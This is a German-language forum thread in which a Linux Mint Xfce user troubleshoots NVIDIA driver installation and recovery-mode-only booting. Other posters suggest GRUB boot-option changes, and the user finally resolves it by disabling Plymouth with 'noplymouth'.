Ich denke ich geb hier mal den aktuellen Status: 1.Jetzt interssiert mich NICHT mehr dass Grafiktreiber-Installationen abstürzen können und warum. 2.Nach Neuinstallation von Linux Mind Xfce und allen meinen Programmen lief das System auf 3 Bildschirmen mit dem Noveautreiber monatelang wunderbar. Nur bei Blender mußte ich auf CUDA verzichten und KICad lief ruckelich. 3.Jetzt versuchte ich doch wie oben diskutiert nviada Treiber zu installieren. Obwohl ich auf meinem alten PC schlechte Erfahrungen hatte. Aber auch da fand ich am Schluß einen funktionierenden Treiber auf dem selben Wege. Es muß also einen Unterschied zwischen LinuxMint V21 und V22 geben. 4.Jetzt funktioniert alles so wie ich gern haben will. CUDA ist da und KiCad ist flüssig. Allerdings NUR wenn ich im Grub den obersten Treiber von den 3 auswählbaren starte. Und das NUR im RECOVERY Mode. Ohne bleibt der Bildschirm schwarz. Die beiden Anderen starten auch ohne Recovery, allerdings ohne CUDA und nur mit einem Bildschirm.
Drücke im grub beim ersten Eintrag mal "e", und lösche "quiet" und "splash" raus falls vorhanden. Dann starte das mit F10 glaub ich. Vielleicht sieht man dann ein paar Boot Messages. Ich würde ausserdem mal versuchen, die initramfs neu zu bauen: "update-initramfs -u"
Rudi schrieb: > Linux Mind Xfce Nix gegen gelegentliche Schreibfehler, aber nach 2 Tagen sollte man vielleicht klären, ob damit "Linux Mint" gemeint ist, oder vielleicht doch "Linux Mind". https://gitlab.com/linuxmind
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(prx) A. K. schrieb: > Rudi schrieb: >> Linux Mind Xfce > > Nix gegen gelegentliche Schreibfehler, aber nach 2 Tagen sollte man > vielleicht klären, ob damit "Linux Mint" gemeint ist, oder vielleicht > doch "Linux Mind". https://gitlab.com/linuxmind Scherzbold
Daniel A. schrieb: > Drücke im grub beim ersten Eintrag mal "e", und lösche "quiet" und > "splash" raus Hab ich gelöscht: Keine Auswirkung. 1.Versuch: Boot ohne Grub....schwarzer Bildschirm 2.Versuch: Boot ohne Recovery bleibt nach Echo 'LOading..... hängen 3.Versuch: Boot mit Recovery wie bisher OK
Rudi schrieb: > Hab ich gelöscht: Keine Auswirkung. Danach kein ESC drücken, sondern mit (ich meine) Ctrl-X Bootvorgang auslösen.
Norbert schrieb: > Ctrl-X Bootvorgang Also nochmal ohne ESC: Wenn gelöscht, dann Bootet es wie im Recovery-Mode. Beim nächsten Bootversuch ist "quiet" und "splash" wieder da. Ohne zu löschen bleibt nach CTRL-X der Pc mit obiger Meldung hängen.
Rudi schrieb: > Beim nächsten Bootversuch ist "quiet" und "splash" wieder da. Klar, steht in der /boot/grub/grub.cfg festgeschrieben. Kann man dort ändern bis zum nächsten Kernel Update. Kann man in /etc/default/grub permanent ändern. Ab dem nächsten Kernel Update. Oder manuell auslösen. EDIT: Tippfehler
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Norbert schrieb: > Klar, steht in der grub.cfg festgeschrieben. > Kann man in /etc/default/grub ändern. Editiere es in dieser Datei, und führe den Befehl "update-grub" aus, um die Änderungen wirksam werden zu lassen.
Sherlock 🕵🏽♂️ schrieb: > Editiere es in dieser Datei, und führe den Befehl "update-grub" aus, um > die Änderungen wirksam werden zu lassen. Wenn ich das tue, kann ich dann automatisch booten ohne in Grub was auszuwählen?
Rudi schrieb: > Wenn ich das tue, kann ich dann automatisch booten ohne in Grub was > auszuwählen? Das ist der Plan, ja.
Hans schrieb: > Man könne die Treiber wohl über apt installieren also am > Manager vorbei. Mit apt(8), aber "am Manager vorbei"? Das hört sich interessant an. Könntest Du bitte erklären, was genau Du damit meinst?
Check doch mal alle Steckverbindungen in der Kiste. Mir ist mal das Lüfterkabel abgegangen, da ging auch nichts mehr.
Εrnst B. schrieb: > Was der PC zum Absturz-Zeitpunkt gemacht hat, war komprimierte Archive > auszupacken, Dateien zu schreiben, und ggfs. im post-inst script ein > Kernel-Modul zu kompilieren. Alles CPU- und speicherintensive Sachen. Das muß dennoch nichts mit defekter Hardware zu haben. Es reicht ein simpler Programmfehler um ein Programm oder seltener ein ganze OS zum Absturz zu bringen. Beliebte Programmfehler diesbezüglich sind z.B. Divisionen durch 0, nicht initialisierte Zeiger oder ein Stacküberlauf. Die Fehler müssen auch nicht ständig passieren. Oftmals treten diese Fehler auch nur unter bestimmten Bedingungen - Bedingungen/Zustände mit denen der Programmierer zum Zeitpunkt des Schreibens des Programmes nicht gerechtnet hat oder nicht wissen konnte. Ist unangenehm aber passiert eben. Die Zeiten wo bei Programmabstürzen gleich das ganze OS mit heruntergezogen wird sind wohl bei Linunux und den aktuellen NT-Varianten, also Windows, eher selten aber ausschließen kann man sie dennoch nicht. Programmabbrüche beim Installieren von SW sind nicht so selten, gerade wenn während der Installation irgend etwas kompiliert wird. Ein kleiner Fehler in den Quellen oder auch Headerdateien reicht da völlig aus. Ansonsten Rudi schrieb: > Außerdem habe im mehrmals hier erwähnt, dass diese > Installations-Abbrüche auch so auf meinem alten PC erfolgt sind. Andere > Hardware - gleicher Fehler, was sagt das euch? Das unterschiedliche HW exakt den gleichen Fehler hat ist eher unwahrscheinlich. Rudi schrieb: > Aber auch da fand ich am Schluß einen funktionierenden Treiber > auf dem selben Wege. Also hast Du wieder irgend was vorkompiliertes installiert. Hätte ich nicht gemacht. Bei meiner Mint Installation hat seinerzeit keiner der vorkompilierten NVidia Treiber funktioniert und der Noveautreiber nur leidlich. Wenn Du allerdings immer den Recoverymode nehmen mußt, dann ist an Deiner Systemkonfiguration was oberfaul. Schau Dir doch einfach mal die Ausgabe von dmesg an. Da sieht man zumindest ob beim Start des Systems die relevanten Komponenten korrekt initialisiert werden. Ebenso die anderen Logdateien die so beim Booten angelegt werden können Hinweise auf mögliche Unstimmigkeiten geben. Rudi schrieb: > Die beiden Anderen starten auch ohne Recovery, > allerdings ohne CUDA und nur mit einem Bildschirm. Auch dies ist ein Zeichen dafür, das da irgendwas im Argen ist. Bezüglich CUDA lies mal hier https://docs.nvidia.com/cuda/cuda-installation-guide-linux/ nach. Da ist eigentlich recht genau beschrieben was bei CUDA beachtet werden sollte. Es gibt auch eine Tabelle mit kompatiblen Linuxdistributionen, allerdings ist da Mint nicht dabei. Ob die Nähe von Mint zu Debian da ausreicht kann ich nicht beurteilen. Ich denke mir aber das es schon einen Grund gibt, weshalb man sich dort die Mühe macht und eine Kompatibilitätsliste erstellt. Auch diese Dokumentation https://docs.nvidia.com/datacenter/tesla/driver-installation-guide/index.html ist recht interessant. Da würde ich mich an Deiner Stelle mal schlau machen. Ich würde ebenso mal überlegen ob die Wahl von Mint für Dein Vorhaben eine gute Wahl ist. Unter Umständen bist Du mit einem OS aus der aufgeführten Kompatibilitätsliste (z.B. UBuntu oder Debian) besser bedient.
Ein T. schrieb: > Mit apt(8), aber "am Manager vorbei"? Das hört sich interessant an. > Könntest Du bitte erklären, was genau Du damit meinst? Bei Mint gibt es wohl einen Treibermanager der auf eine eigene Treiberdatenbank zurück greift und aus dieser Datenbank wurden wohl die NVidia-Treiber >Version 535 entfernt, weil es mit diesen Probleme gäbe. Die Treiberpakete gibt es aber wohl noch in Distributionsrepositorities und man kann sie ja dann wohl per apt install <Paket> installieren, also ohne den Treibermanager. So wurde es zumindest in einem Forum beschrieben. Ich selbst kenne diesen Treibermanager nicht. Ich habe sowas bei meiner Mint-Installation immer im Terminalfenster mit "apt install" gemacht. Den NVidiatreiber habe ich durch Ausfürung des run-Scriptes installiert, also ohne Treibermanager und apt.
Hans schrieb: > Programmabbrüche beim Installieren von SW sind nicht so selten, gerade > wenn während der Installation irgend etwas kompiliert wird. Wenn derselbe Fehler unter verschiedenen Bedingungen auftritt, unter anderen Bedingungen jedoch nicht, dann wird die sinnvollste Strategie zur Eingrenzung des Fehlers ja wohl darin bestehen, sich die Gemeinsamkeiten und Unterschiede der jeweiligen Bedingungen anzuschauen. Die überwiegende Mehrheit der Benutzer mit (halbwegs aktuellen) Grafikkarten von Nvidia und den Linux-Distributionen Debian, Ubuntu und Mint dürfte wohl die systemseitigen Installer benutzen. Bei der überwiegenden Mehrheit dieser Benutzer funktionieren sowohl Installation als auch Updates einwandfrei. Beim TO scheinen sie jedoch auf gleich zwei verschiedenen Computern gewisse Schwierigkeiten zu machen, die wir wegen der spärlichen Informationen und der Herangehensweise des TO hier leider nicht genauer analysieren können. Aber ich sehe eine Gemeinsamkeit, die die vielen funktionierenden Installationen nicht haben: nämlich den Benutzer, unseren TO. Vielleicht ist der TO einfach nur ein bisschen ungeduldig und wartet nicht ab, bis der Treiber übersetzt und installiert, oder bis das System zuende gebootet ist? Es erscheint mir dann doch allzu merkwürdig, daß das System erst nicht funktioniert haben soll, dann nach einem Reboot auf einmal doch sauber hoch gekommen ist, und dann bei einem weiteren Reboot plötzlich wieder gezickt haben soll. So ein Systemverhalten habe ich in über zwanzig Jahren Linux auf hunderten Maschinen mit verschiedenen Hardwareplattformen noch nie erlebt, und wenn ich in all den Jahren eines über Linux gelernt habe, dann, daß es auf fehlerfreier Hardware immer absolut reproduzierbare Ergebnisse liefert, und zwar sowohl im Guten, als auch im Schlechten. Das Zweite, das ich in all den Jahren mit Linux über Linux gelernt habe, ist, daß es keine Anwenderfehler verzeiht, sondern immer genau das tut, was sein User von ihm verlangt und zwar auch dann, wenn es das vielleicht lieber nicht tun sollte. Wenn ich meinem Linux sage, daß es wichtige Systemdateien löschen soll, dann tut es das. Auch wenn es danach nicht mehr bootfähig ist. Aus meiner unmaßgeblichen Sicht ist die Vermutung, daß es einen Zusammenhang zwischen dem Verhalten des TO und dem Auftreten dieser Fehler gibt, zumindest nicht völlig von der Hand zu weisen. Die etwas... sagen wir: hemdsärmeligen Äußerungen des TO, daß er weder auf den Systemzustand achtet, noch auch nur einmal in die Logdateien geschaut hat, es ihn auch nicht interessiert, warum so eine Installation fehlschlagen kann, und einige weitere Auslassungen bei den gegebenen Informationen, seinen konkreten Handlungen und den Ergebnissen dieser Handlungen, nähren meine Vermutung weiter. Prove me wrong! :-)
Hans schrieb: > Bei Mint gibt es wohl einen Treibermanager der auf eine eigene > Treiberdatenbank zurück greift und aus dieser Datenbank wurden wohl die > NVidia-Treiber >Version 535 entfernt, weil es mit diesen Probleme gäbe. > Die Treiberpakete gibt es aber wohl noch in Distributionsrepositorities > und man kann sie ja dann wohl per apt install <Paket> installieren, also > ohne den Treibermanager. So wurde es zumindest in einem Forum > beschrieben. > Ich selbst kenne diesen Treibermanager nicht. Ich habe sowas bei meiner > Mint-Installation immer im Terminalfenster mit "apt install" gemacht. > Den NVidiatreiber habe ich durch Ausfürung des run-Scriptes installiert, > also ohne Treibermanager und apt. Wenn es sich bei dem besagten Treibermanager um diese Software [1] handelt, so scheint es sich auf den ersten Blick lediglich um ein grafisches Frontend für den Debian-Paketmanager apt(8) zu handeln. Schade, daß Du keinen Link zu dem Forenbeitrag hast, den Du zitierst. Dort hätten wir vielleicht mehr über die Hintergründe erfahren können.
Ein T. schrieb: > Beim TO scheinen sie jedoch auf gleich zwei verschiedenen Computern > gewisse Schwierigkeiten zu machen, die wir wegen der spärlichen > Informationen und der Herangehensweise des TO hier leider nicht genauer > analysieren können. Hier kann ich nur erwähnen wie es mir damit ergangen ist. Wenn ihr hier Informationen vermisst, dann nur weil ihr mir nicht die nötigen Anweisungen mitgeteilt haben wie ich eure Fragen beantworten kann,. Ich bin zwar mal vor 30Jahren als Linux-SystemSezialist ausgebildet worden, aber wie ich sehe ist das Schnee von gestern. Ich wäre schon zufrieden müßte ich jedesmal als Recovery zu booten, diese 30sec habe ich noch frei als Rentner. Aber auch möchte ich ein so stolzes Projekt wie OpenSource unterstützen. Und mir gefällt Linux Mint Xfce! Und alles was ich tun kann, das zu verbessern werde ich liefern. Nur sagt mir wie?
Ein T. schrieb: > Vielleicht ist der TO einfach nur ein bisschen ungeduldig und wartet > nicht ab, bis der Treiber übersetzt und installiert, oder bis das System > zuende gebootet ist? Und zwischendurch werden alle Bildschirme Schwarz? Nein, nur wenn die Installation fertig ist, dann ist der blaue Vortschrittsbalken auch am ende Angekommen. windows meldet dann wenigstens dass nun neu gebootet wird!
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Hans schrieb: > Wenn Du allerdings immer den Recoverymode nehmen mußt, dann ist an > Deiner Systemkonfiguration was oberfaul. Ich habe das so verstanden, dass die Boot Option "splash" bei ihm Probleme bereitet. Das hatte ich auch schon mal vor langer Zeit. Der Splash Screen ist ja grafisch, während der Boot-Vorgang ohne diese Option im Text-Modus verbleibt, bis der X-Server für den Login-Screen startet.Vielleicht gibt es ein Problem beim Umschalten vom "splash" GrafikModus in den nächsten.
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Bearbeitet durch User
Sherlock 🕵🏽♂️ schrieb: > Hans schrieb: >> Wenn Du allerdings immer den Recoverymode nehmen mußt, dann ist an >> Deiner Systemkonfiguration was oberfaul. > > Ich habe das so verstanden, dass die Boot Option "splash" bei ihm > Probleme bereitet. Das hatte ich auch schon mal vor langer Zeit. Der > Splash Screen ist ja ein grafisch, während der Boot-Vorgang ohne diese > Option im Text-Modus verbleibt, bis der X-Server für den Login-Screen > startet. Da sollte man dann wohl am besten ›plymouth‹ deinstallieren.
Sherlock 🕵🏽♂️ schrieb: > Problem beim Umschalten vom "splash" > GrafikModus in den nächsten. Ja, so wird es sein. Ich habe jetzt nur splash entfernt und es geht. Bei quiet wird die Bootsequenz nicht gezeigt. Es wurde mir vorgeworfen, ich hätte nicht alles erzählt. Da ist aber nur zusätzlich zu erwähnen, dass ich die 2 fehlgeschlagenen Installationsvesuche jeweils mit Timeshift zurückgesetzt habe. Ob das wichtig ist, weiß ich nicht. In der Zwischenzeit ist mir an meinem PC noch etwas aufgefallen. Ich habe das Gnome-Mahjongg 3.40.1 aufgerufen, und gesehen, das ich fast nichts sehe...haha. Nein, vom Fenster ist nur die Titelleiste zu sehen und der Fensterrahmen. Der Rest ist transparent. Funktionieren tut es aber ganz normal. Es ist sicher ein Grafikproblem, aber wo? Ansonsten läuft alles rund.
Rudi schrieb: > Es ist sicher ein Grafikproblem, aber wo? Wohl im Grafiktreiber, würde ich mal sagen. > Nein, vom Fenster ist nur die Titelleiste zu sehen > und der Fensterrahmen. Der Rest ist transparent. Funktionieren tut es > aber ganz normal. Wie "funktioniert" denn ein Spiel, dass man nicht sehen kann?
Rudi schrieb: > Ein T. schrieb: >> Beim TO scheinen sie jedoch auf gleich zwei verschiedenen Computern >> gewisse Schwierigkeiten zu machen, die wir wegen der spärlichen >> Informationen und der Herangehensweise des TO hier leider nicht genauer >> analysieren können. > Genau, nichts hinzu zu fügen... > Hier kann ich nur erwähnen wie es mir damit ergangen ist. Wenn ihr hier > Informationen vermisst, dann nur weil ihr mir nicht die nötigen > Anweisungen > mitgeteilt haben wie ich eure Fragen beantworten kann,. Ich bin zwar mal > vor 30Jahren als Linux-SystemSezialist ausgebildet worden, aber wie ich > sehe ist das Schnee von gestern. > Oh weh, mein kleiner Enkel könnte Dir helfen...per personal assistance... > Ich wäre schon zufrieden müßte ich jedesmal als Recovery zu booten, > diese 30sec habe ich noch frei als Rentner. > > Aber auch möchte ich ein so stolzes Projekt wie OpenSource unterstützen. > Und mir gefällt Linux Mint Xfce! Und alles was ich tun kann, das zu > verbessern werde ich liefern. Nur sagt mir wie? Ach höre bitte auf, Du trollst hier nur herum...
Rudi schrieb: > Ein T. schrieb: >> Vielleicht ist der TO einfach nur ein bisschen ungeduldig und wartet >> nicht ab, bis der Treiber übersetzt und installiert, oder bis das System >> zuende gebootet ist? > > Und zwischendurch werden alle Bildschirme Schwarz? Nein, nur wenn die > Installation fertig ist, dann ist der blaue Vortschrittsbalken auch am > ende Angekommen. > > windows meldet dann wenigstens dass nun neu gebootet wird! Nö, stimmt überhaupt nicht! Das kann man nur sehen wenn man pausenlos vor der Glotze hockt. Als ich wieder zum PC kam war der Bildschirm nur schwarz, aber nicht ausgeschaltet. Dieser Dreck von MS gehört verboten.
Norbert schrieb: > Da sollte man dann wohl am besten ›plymouth‹ deinstallieren. [[https://wiki.ubuntuusers.de/Plymouth/]] Da ist doch wahrlich alles beschrieben, was ich gesucht habe. Un das steht auch:
1 | Auf manchen Systemen funktioniert Plymouth nicht korrekt. Dies äußert sich z.B. darin, dass das System nicht mehr bis zum Anmelde-Bildschirm ("login screen") bootet oder z.B. bei einer Dateisystem-Überprüfung ("file system check") immer langsamer wird und dabei bis zu einer Stunde braucht. Ursache hierfür ist meistens auch Plymouth. |
Ist dann doch klar, daß ich keine Stunde warte, sondern eher an einen Absturz denke. Ich betrachte diesen Threat nun als gelöst. Danke an Alle.
Rudi schrieb: > Hier kann ich nur erwähnen wie es mir damit ergangen ist. Wenn ihr hier > Informationen vermisst, dann nur weil ihr mir nicht die nötigen > Anweisungen mitgeteilt haben wie ich eure Fragen beantworten kann Nun habe ich den Thread noch einmal überflogen, um zu verifizieren, ob meine Erinnerungen falsch sind, aber sind korrekt. Hier wurden viele verschiedene Vermutungen geäußert, unter anderem die Frage hinsichtlich des Zustandes des Systems. Bedauerlicherweise hast Du jedoch in keinem Fall dazu beigetragen, diese Vermutungen zu verifizieren oder zu falsifizieren, und entweder gar nicht darauf reagiert oder sie, nunja, vom Tisch gewischt. > Ich bin zwar mal > vor 30Jahren als Linux-SystemSezialist ausgebildet worden, aber wie ich > sehe ist das Schnee von gestern. Hui, dann wärst Du ja ein early adopter, denn vor 30 Jahren hat Linux gerade die Version 1.0 erreicht und die DELUG das Linux Magazin gegründet. :-) Aber gerade dann hätte ich etwas mehr Sensibilität bezüglich des Systemzustandes, und zumindest mal einen selbständigen Blick in Logdateien erwartet. > Aber auch möchte ich ein so stolzes Projekt wie OpenSource unterstützen. > Und mir gefällt Linux Mint Xfce! Und alles was ich tun kann, das zu > verbessern werde ich liefern. Nur sagt mir wie? Wende Dich ans XFCE- oder ein anderes OpenSource-Projekt, das Dich persönlich interessiert, erkläre kurz, was Du kannst -- also zum Beispiel Programmieren, Webseite(n) pflegen, Grafiken erstellen, Dokumentationen oder Übersetzungen entwickeln -- und wie Deine zeitliche Verfügbarkeit ist. Frage, ob sie Hilfe in diesen Bereichen brauchen können, und wo, wie und wann Du anfangen kannst. Rudi schrieb: > Und zwischendurch werden alle Bildschirme Schwarz? Nein, nur wenn die > Installation fertig ist, dann ist der blaue Vortschrittsbalken auch am > ende Angekommen. So etwas kann durchaus passieren und hängt im Wesentlichen davon ab, wie das System konfiguriert ist. Meine Maschinen etwa verwenden Kubuntus KDE-Desktop weitestgehend in der Standardkonfiguration, dort wird der Bildschirm einfach ausgeschaltet, wenn man nichts tut und kein Video läuft. > windows meldet dann wenigstens dass nun neu gebootet wird! Linux ist aber nicht Windows! Und wenn ich Dir einen guten Rat geben darf: wenn Du qualifizierte Hilfe von erfahreneren Linux-Nutzern haben, oder in einem OpenSource-Projekt mitarbeiten möchtest, dann solltest Du diese Aussage verinnerlichen und auf solche Bemerkungen unbedingt verzichten. Denn solche Vergleiche nerven ungemein und deuten nur darauf hin, daß der Äußernde das Allerwichtigste nicht verstanden hat: nämlich, daß Linux nicht Windows ist, und auch nicht Windows werden will.
Ein T. schrieb: > ....nämlich, daß Linux nicht Windows ist, und auch nicht Windows werden will. Man bin ich froh!
Hallo, Ich habe nochmal einen Versuch zur Grafiktreiber-Installation gewagt. Und da er erfolgreich war, will ich es alle wissen lassen. Am Anfang habe ich geschrieben, dass 2 von 3 Nvida-Treibern beim Installieren abgestürzt sind. Das Problem mit dem 3.Treiber haben wir dann mit entfernen von "splash" gelöst. Ich habe mein System zurückgesetzt, auf die Version mit dem Opensource Treiber. Dann habe ich BEVOR ich die Installation mit dem empfohlenen Nvida-Treiber (dem 1.) begann, diese Änderung vorgenommen:
1 | GRUB_CMDLINE_LINUX_DEFAULT="noplymouth" |
wie dort beschrieben: [[https://wiki.ubuntuusers.de/Plymouth/]] und siehe da, die Installation ging reibungslos und erfolgreich zu ende. Das wäre dann die perfekte Vorgehensweise.
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